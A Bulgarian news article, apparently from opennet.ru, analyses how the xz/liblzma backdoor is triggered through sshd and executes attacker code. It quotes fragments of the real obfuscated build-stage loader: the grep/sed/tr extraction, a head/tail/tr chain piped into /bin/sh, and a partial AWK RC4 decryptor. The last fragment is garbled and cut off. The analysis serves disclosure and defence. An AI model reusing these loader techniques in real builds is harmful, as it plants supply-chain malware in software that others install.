Разбор на логиката на активиране и работа на бекдора в пакета xz

Достъпни са предварителните резултати от обратното инженерство на злонамерения обектен файл, вграден в liblzma, в резултат на кампания за разпространение на бекдор в пакета xz. Бекдорът засяга само системи x86_64 на базата на ядрото Linux и библиотеките на C Glibc, в които към sshd се прилага допълнителен пач, осъществяващ свързването с библиотеката libsystemd за поддръжка на механизма sd_notify. Първоначално се предполагаше, че бекдорът позволява да се заобиколи аутентификацията в sshd и да се получи достъп до системата чрез SSH. По-подробният анализ показа, че това не е така и бекдорът предоставя възможност за изпълнение на произволен код в системата, без да оставя следи в логовете на sshd.

По-специално, функцията RSA_public_decrypt, перехващана от бекдора, проверява подписа на хоста, използвайки фиксиран ключ Ed448, и в случай на успешна проверка изпълнява предадения код от външния хост с помощта на функцията system() на етапа преди свалянето на привилегиите от процеса sshd. Данните, съдържащи кода за изпълнение, се извличат от параметъра "N", предаден на функцията RSA_public_decrypt (полето "n" от структурата rsa_st, съдържаща предадения от външния хост публичен ключ), проверяват се по контролна сума и се разшифроват с предварително определен ключ ChaCha20 на етапа преди верификацията на цифровия подпис Ed448.

Като признак за активиране на бекдора в sshd се използва стандартният механизъм за обмен на хостови ключове. Бекдорът се възползва от факта, че сертификатите OpenSSH включват публичния ключ на лицето, което е съставило подписа, и реагира само на ключа, подготвен от злоумышленика и съответстващ на предварително зададения фиксиран ключ Ed448. Ако проверката на подписа по публичния ключ не премине или ако целостта на данните за изпълнение не бъде потвърдена, бекдорът връща управлението на стандартните функции на SSH.

Тъй като частният ключ на злоумышленика е неизвестен, е невъзможно да се реализира проверъчен код, който да позволи на неупълномощени лица да активират бекдора и да реализират скенер за компрометирани хостове в мрежата. Изследователите са подготвили скрипт, демонстриращ техниката на заместване на публичния ключ с произволно съдържание в предадения от SSH клиента сертификат OpenSSH, който ще бъде обработен в перехванатата от бекдора функция RSA_public_decrypt.

Изследователите също така забелязаха наличието на конструкция, която обезврежда бэкдора (killswitch) на локалната система при наличието на зададена преди стартиране на sshd променлива на средата «yolAbejyiejuvnup=Evjtgvsh5okmkAvj».

Допълнително може да се отбележи детайлен анализ на shell-конструкции, използвани за заплитане на процеса на извличане на обектен файл с бэкдор и неговата подмяна в библиотеката liblzma. По време на сглобяването на пакета xz от скрипта build-to-host.m4 се стартираше код, който търсеше сред тестовите файлове архив bad-3-corrupt_lzma2.xz, заменяше в него някои символи, преобразуваше го в неповреден архив и извличаше от него shell-скрипт. gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir\/ 2>\/dev\/null` … gl_[$1]_config=’sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>\/dev\/null’ gl_path_map=’tr «\t \-_» » \t_\-«‘

Полученият shell-скрипт по парчета извличаше от съдържанието на архива good-large_compressed.lzma още един shell-скрипт, пропускайки определени последователности с команди head и tail, и заменяйки символи с командата tr. ####Hello#### # малко бинарни байтове тук, но тъй като е коментар, те са игнорирани [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ..\/..\/config.status;then eval `grep ^srcdir= ..\/..\/config.status` srcdir=»..\/..\/srcdir» fi export i=»((head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +939)»;(xz -dc $srcdir\/tests\/files\/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|\/bin\/sh ####World####

В резултат на това беше създаден достатъчно сложен и обемен shell-скрипт, който извлича директно файла с бекдора от архива good-large_compressed.lzma, декодира го и го вгражда в liblzma. Сред другото, в скрипта имаше реализация на механизма за плъгини, позволяваща впоследствие да се предоставят допълнителни изпълняеми компоненти чрез добавяне на нови тестови архиви, без да се променят good-large_compressed.lzma и bad-3-corrupt_lzma2.xz, а чрез използване на търсене по сигнатура. В кода също беше внедрен дешифратор, базиран на алгоритъма RC4, реализиран на езика AWK: N=0 W=88664 else N=88664 W=0 fi xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed «s/\(.\)/\1\n/g» | LC_ALL=C awk ‘BEGIN{FS=“\n”;RS=“\n”;ORS=“”;m=256;for(i=0;i<m;i++){t[sprintf(“x%c”,i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t[“x” (NF /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true

Източник: opennet.ru

Купете надежден хостинг за сайтове с защита от DDoS, VPS VDS сървъри 🔥 Купете надежден хостинг за сайтове с защита от DDoS, VPS VDS сървъри | ProHoster